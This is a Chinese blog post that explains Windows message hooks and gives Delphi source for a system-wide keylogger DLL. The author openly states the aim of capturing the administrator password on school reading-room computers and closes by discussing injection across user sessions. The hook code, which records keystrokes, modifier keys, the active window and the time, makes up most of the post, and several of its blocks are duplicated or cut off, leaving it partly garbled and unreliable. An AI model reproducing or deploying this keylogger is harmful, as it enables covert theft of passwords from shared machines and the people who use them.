早就想写一个键盘监听器了,学校的电子阅览室设了Administrator屏障,想装软件什么的很麻烦,因此想截获管理员密码。。
花了大概一个星期编写了一个,效果还不错,因此来分享一下。。
首先解释一下什么是键盘钩子:
钩子(Hook)是Windows消息处理机制中的一个监视点,应用程序可以在这里安装一个子程序(钩子函数)以监视指定窗口某种类型的消息,所监视的窗口可以是其他进程创建的。当消息到达后,在目标窗口处理函数处理之前,钩子机制允许应用程序截获它进行处理。
SetWindowsHookEx
函数可以把应用程序定义的钩子函数安装到系统中。
HHOOK SetWindowsHookEx(
Int idHook ; //
指定钩子的类型
HOOKPROC lpfn; //
钩子函数的地址。如果使用的是远程钩子,钩子函数必须放在一个
DLL
中。
HINSTANCE hMod; //
钩子函数所在
DLL
的实例句柄。如果是一个局部的钩子,该参数为
NULL
。
DWORD dwThreadID; //
指定要为哪个线程安装钩子。若该值为
0
被解释成系统范围内的。
)
IdHook
参数指定了要安装的钩子的类型,可以是下列取值之一:
WH_CALLWNDPROC
当目标线程调用
SendMessage
函数发送消息时,钩子函数被调用。
WH_CALLWNDPROCRET
当
SendMessage
发送的消息返回时,钩子函数被调用。
WH_GETMESSAGE
当目标线程调用
GetMessage
或者
PeekMessage
时。
WH_KEYBOARD
当从消息队列中查询
WM_KEYUP
或
WM_KEYDOWN
消息时
WH_MOUSE
当调用从消息队列中查询鼠标事件消息
WH_MSGFILTER
当对话框,菜单或滚动条要处理一个消息时,钩子函数被调用。该钩子是局部的,它是为哪些有自己消息处理过程的控件对象设计的。
WH_SYSMSGFILTER
和
WH_MSGFILTER
一样,只不过是系统范围的。
WH_JOURNALRECORD
当
Windows
从硬件队列中获取消息时。
WH_JOURNALPLAYBACK
当一个事件从系统的硬件输入队列中别请求时
WH_SHELL
当关于
Windows
外壳事件发生时,比如任务条需要重画它的按钮
WH_CBT
当基于计算机的训练(
CBT
)事件发生时。
WH_FOREGROUNDIDLE Windows
自己使用,一般应用程序很少使用。
WH_DEBUG
用来给钩子函数除错。
Lpfn
参数是钩子函数的地址。钩子安装后如果有消息发生,
Windows
将调用此参数所指向的函数。
如果
dwThreadId
参数是
0
,或者指定一个由其他进程创建的线程
ID
,
lpfn
参数指向的钩子函数必须位于一个
DLL
中。这是因为进程的地址空间是相互隔离的,发生事件的进程不能调用其他进程地址空间的钩子函数。如果钩子函数的实现代码在
DLL
中,在相关事件发生时,系统会把这个
DLL
插入到发生事件的进程的地址空间,使它能够调用钩子函数。这种需要将钩子函数写入
DLL
以便挂钩其他进程事件的钩子称为远程钩子。
如果
dwThreadId
参数指定一个由自身进程创建的线程
ID
,
lpfn
参数指向的钩子函数只要在当前进程中即可,不必非要写入
DLL
。这种挂钩属于自身进程事件的钩子称为局部钩子。
hMod
参数是钩子函数所在
DLL
的实例句柄,如果钩子函数不再
DLL
中,应将
hMod
设置为
NULL
。
dwThreadId
参数指定要与钩子函数相关联的线程
ID
号。如果设为
0
,那么钩子就是系统范围内的,即钩子函数将关联到系统内所有线程。
要卸载钩子,可以调用 UnhookWindowsHookEx 函数。
BOOL UnhookWindowsHookEx(HHOOK hhk); // hhk
为要卸载的钩子的句柄
注意:
安装钩子的代码可以在
DLL
模块中,也可以在主模块中,但是一般在
DLL
里实现它,主要是为了使程序更加模块化。
既然我们要截获的是全局的按键消息,那么就应该将钩子放在DLL中。
Windows钩子都有一个回调函数:
LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
//
处理该消息的代码
…..
Return ::CallNextHookEx(hHook,nCode,wParam,lParam);
}
HookProc
是应用程序的名称。
nCode
参数是
Hook
代码,钩子函数使用这个参数来确定任务,它的值依赖于
Hook
的类型。
wParam
和
lParam
参数的值依赖于
Hook
代码,但是它们典型的值是一些关于发送或者接收消息的信息。
因为系统中可能会有多个钩子的存在,所以要调用那个
CallNextHookEx
函数把消息传到链中下一个钩子函数。
hHook
参数是安装钩子时得到的钩子句柄(
SetWindowsHookEx
的返回值)。
有了这些知识,我们就可以开始编写:
首先,先创建一个DLL Wizard,为了在主程序中创建钩子,我们需要键入以下代码:
procedure InstallHook(hwnd:THandle);stdcall;export;
begin
hook:=SetWindowsHookEx(WH_JOURNALRECORD,HookProc,hInstance,0);//其中hook是一个HHOOK类型的全局变量,用来保存钩子句柄
hWindow:=hwnd;//hWindow也是一个HWND类型的全局变量,用来保存主程序的窗口句柄,在后面要用到
end;
由于DLL与主程序是独立的,所以DLL截获的消息需要发送到主窗口,这里采用的是发送消息,因此要保留主窗体句柄
下面是卸载钩子代码:
procedure UnInstallHook;stdcall;export;
begin
UnhookWindowshookEx(hook);
end;
begin
UnhookWindowshookEx(hook);
end;
还有回调函数:
function HookProc(iCode:longint;
wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
msg:TEventMsg;
keyState:TKeyState;
begin
if iCode=HC_ACTION then
begin
msg:=PEventMsg(lParam)^;
if (msg.message=WM_KEYDOWN) or (msg.message=WM_SYSKEYDOWN) then
begin
keystate.vKey:=LoByte(msg.paramL);//得到键的虚拟键码
keystate.bCapsLock:=GetKeyState(VK_CAPITAL)=1;//得到CapsLock键状态
keyState.bNumLock:=GetKeyState(VK_NUMLOCK)<>1;//得到Num Lock的状态
keyState.bCtrl:=GetKeyState(VK_CONTROL) and $80000000=$80000000;//得到Ctrl键的状态
keyState.bAlt:=GetKeyState(VK_MENU) and $80000000=$80000000;//得到Alt键的状态
keyState.bShift:=GetKeyState(VK_SHIFT) and $80000000=$80000000;//得到Shift键的状态
keystate.Sender:=GetActiveWindow;//得到当前活动的窗口句柄
keystate.Time:=Now;//得到当前时间
SendMessage(hWindow,WM_MYMSG,Integer(@KeyState),0);//发给主窗口,WM_MYMSG为一个自定义消息,用于区别于其他消息
end;
result:=0;
end;
if iCode<0 then
begin
Result:=CallNextHookEx(hook,iCode,wParam,lParam);//挂上下一个钩子
end;
end;
wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
msg:TEventMsg;
keyState:TKeyState;
begin
if iCode=HC_ACTION then
begin
msg:=PEventMsg(lParam)^;
if (msg.message=WM_KEYDOWN) or (msg.message=WM_SYSKEYDOWN) then
begin
keystate.vKey:=LoByte(msg.paramL);//得到键的虚拟键码
keystate.bCapsLock:=GetKeyState(VK_CAPITAL)=1;//得到CapsLock键状态
keyState.bNumLock:=GetKeyState(VK_NUMLOCK)<>1;//得到Num Lock的状态
keyState.bCtrl:=GetKeyState(VK_CONTROL) and $80000000=$80000000;//得到Ctrl键的状态
keyState.bAlt:=GetKeyState(VK_MENU) and $80000000=$80000000;//得到Alt键的状态
keyState.bShift:=GetKeyState(VK_SHIFT) and $80000000=$80000000;//得到Shift键的状态
keystate.Sender:=GetActiveWindow;//得到当前活动的窗口句柄
keystate.Time:=Now;//得到当前时间
SendMessage(hWindow,WM_MYMSG,Integer(@KeyState),0);//发给主窗口,WM_MYMSG为一个自定义消息,用于区别于其他消息
end;
result:=0;
end;
if iCode<0 then
begin
Result:=CallNextHookEx(hook,iCode,wParam,lParam);//挂上下一个钩子
end;
end;
其中TKeyState定义为:
type
TKeyState=record
vKey:longint;
bCapsLock,bNumLock,bShift,bCtrl,bAlt:bool;
Sender:HWND;
Time:TDateTime;
end;
TKeyState=record
vKey:longint;
bCapsLock,bNumLock,bShift,bCtrl,bAlt:bool;
Sender:HWND;
Time:TDateTime;
end;
用于记录按键消息。
最后将他们输出:
exports
InstallHook,UnInstallHook,HookProc;
InstallHook,UnInstallHook,HookProc;
在主窗体Main.pas中写入:
procedure InstallHook(hwnd:THandle);stdcall;external 'Hookdll';
procedure UnInstallHook;stdcall;external 'hookdll';//静态链接函数
procedure UnInstallHook;stdcall;external 'hookdll';//静态链接函数
然后调用时用:InstallHook(self.Handle);就可以安装钩子了。
至此一个键盘监听器就写好了(详细参考CSDN资源:4428899)
但是,这个程序还有一点缺陷,就是不能跨用户监听,即如果一台电脑中有多个用户,则用户A的监听器监听不到用户B的按键消息。
我研究过,用户的实质是多个Desktop(即窗口工作站)同时运行(这也是虚拟桌面的工作原理)。我曾试图用CreateProcess()这个API将一个进程跨用户注入到另一个用户的空间中,虽说成功了,但一旦用户切换用户,所有的钩子都将停止,这也令我很苦恼,如果有兴趣的也可以研究一下。